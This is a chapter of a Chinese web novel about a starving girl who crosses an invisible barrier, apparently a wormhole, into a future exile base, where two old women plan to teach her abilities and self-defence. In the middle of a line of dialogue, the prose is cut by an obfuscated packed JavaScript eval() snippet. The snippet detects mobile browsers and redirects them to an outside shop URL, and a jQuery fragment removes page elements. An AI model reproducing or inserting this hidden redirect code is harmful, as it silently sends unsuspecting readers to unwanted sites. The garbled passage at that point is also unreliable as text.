白仁悦想再说些话,但还是只揉了揉她的脑袋:“那这件事之后再说吧,你要跟我们学异能也不是一朝一夕的事,先得把你的身体养好,否则学了异能不仅会狂暴,还会早死,不是叫你什么都不敢,但接下来一段时间,你得尽可能少干多吃。” 忍冬犹豫思索,想到学会异能后的强大,觉得暂且少攒点钱也行,等她变得更强大,可以赚到更多的钱。 “等我卖了麦子,就去买猪肉,到时候夏奶奶和白奶奶跟我一起吃,”忍冬说着,忍不住咽了咽口水,“肉好吃,肉汤也好吃,特别是肉汤拌饭,特别特别好吃。” 至于猪肉,她娘说野物的肉跟猪肉不一样,小时候她是吃过的,味道很好,只是她早就忘了那时候家里的肉是什么味道,大多数时候在家里只能分到一点点肉汤,但既然肉汤拌饭也好吃,猪肉的味道肯定会更好。 “说过了现在先去换衣服。”夏瑞蒂又将衣服递给她。 忍冬还是摇头,这次不是拒绝,而是有理由的回话:“夏奶奶,衣服我很喜欢,但这衣服太好了,我穿着干活会弄脏它的,等我卖了这些萝卜,回来洗过澡,再穿给夏奶奶和白奶奶看,我现在去给你们煮早饭吃。” 说完,她走到自己昨天临时搭的灶台边,用手里的石头生了火,等水煮开后,再放下掰断的萝卜和白菜叶。 夏瑞蒂和白仁悦在后面低声说话。 “这孩子哪里都好,就是太过节俭,不过我们在这里住了多年,都不见有原住民,她是从哪儿来的?” “或许并不是原住民,而是别的流放者的孩子?” “不可能,若真是别的流放者的孩子,无论如何都不可能过成现在这个样子,就像我们这些年的日子,固然并不算好,但至少营养液并不短缺,可看她这样,瘦骨嶙峋,仿佛是饿了多年,而且你还记得她说的吗?她说旁的地方有肉买,还可以卖萝卜。” “她要卖萝卜买肉,是不是意味着萝卜比肉便宜?可这些天然的作物,已经有许多年没有高产量。” “她一个瘦骨嶙峋的孩子,轻而易举种出了这些萝卜,日子却依然不好过,这也不对。” 两人看向彼此,心里都觉得不对。 但她们都没有说什么。 吃完早餐,忍冬背着背篓往来时的方向走去时,两人也悄悄跟在身后。 然而她们跟到一半,就被一堵无形的透明墙壁拦住,想尽办法都再无法上前半步。 …… 忍冬爬出了洞口,从暗处抽出一根藤蔓,将藤蔓绑在背篓上,将装满了萝卜的背篓先放下去,等到背篓落地,自己才拽着另一根藤蔓往下爬。 这边的山洞有很多,大多都只有一人多深,且里头空无一物,并不会有人在意这些地方。 她之前要不是急着寻找她娘的落脚之处,也不会发现这个山洞。 这个山洞是属于她一个人的秘密。 脚下碰着了地面,她将手上的藤蔓放开,再解开背篓上的藤蔓,将它们藏在暗处,这才背着背篓往县城的方向走去。 今日她有不少时间,卖掉这些萝卜之后可以再回来一趟,继续卖第二趟。 她不知道的是,这个时间,山洞另一边,有人正在仔细研究她回来的那条路。 “过不去,这里的能量场很大,或许我们体内的能量与这个能量场具有极强的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135704|196265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 排斥性。” “但她带走了能量石,还有蕴含能量石的睡袋。” “这样说的话,就不是我们的能量问题,不过这堵墙,之前出现过吗?” 众人齐刷刷看向夏瑞蒂。 这个地方,是属于夏瑞蒂的。 “没有,所以当初忍冬出现,我也觉得很奇怪,这才让你们过来看,”夏瑞蒂目露疑惑,“我能确定,在她出现之前,这里绝没有这样的能量场,仿佛这能量场就是她带过来的,可她若是有这样的本事,又怎么会落到那样的地步?” “她那个人看上去也很奇怪,身上没有翻译器不说,穿着还那样破烂,衣服上居然还打了补丁,这念头就算是最偏远的低等星球,也不会出现这样的情况,除非是历史上物资不丰的过去。” “对,就是这个,我想到了!”其中一人拍了拍掌,“如果说这道能量场的那边,是虫洞呢?” “虫洞?” “虫洞可以连接过去未来,不惧时间和空间限制,也就是说,那个小姑娘很有可能来自过去?” …… “你这萝卜不错。” “我特意挑的最好的萝卜,”忍冬抬头面露微笑,“而且都是新鲜的,今早刚从地里拔的。” “看这颜色,确实还算新鲜,那我拿两个。” 周围路过的人听到对话,也都蹲下来看萝卜,确定没问题,都挑拣着选了自己看中的萝卜。 一大筐萝卜,很快就卖了个干净。 卖完萝卜之后,她去买了早上想到需要买的东西,又背着满满一大筐东西回了山洞。 这次没见到夏奶奶和白奶奶,她只拔了萝卜,没有逗留太久,就原路返回,继续去卖萝卜挣钱。 在她离开不久,就有数人从山壁里出来。 “看着很像是虫洞,她走的那个方向另一处我看过了,并没有人定居,如果没有虫洞,那就只能是山里有隧道了。” “隧道也不可能,这边是我们特意选的地方,绝不可能有人背着我们在这里打隧道。” “可惜我们手上没有专业的工具,要是能测出虫洞,或许……” “不行,她那个世界还是古代,这里的虫洞要是被发现,她那边的人都活不了,那些人的脾性你们最了解,绝不会放过任何一点资源,更何况,还是能种出天然可食用作物的上好资源星。” “说了对我们也没好处,真要是被他们发现这里的情况,我们好不容易建立的基地,也要被彻底毁灭。” “啧,看来我们的未来,已经跟她绑定了。” “她想要学的异能,也是非教不可。” “是不是还得教点别的防身手段?以她的说法,她那个世界对她似乎也不太友好,仓库里还有几把古早的激光枪,我可以教她用枪。” “那可是古代,用激光枪不好吧?还是用冷兵器比较好,我会用刀,可以教她用刀。” “激光枪有什么不好,一击击杀,用刀她也很危险的。” “就算不练刀,她也得练身体,不然遇上人跑都跑不远,还是得我来。” “有了激光枪,任何人都动不了她。” “但要是被发现了,她会很危险,当然还是能不被发现,就不被发现要好!”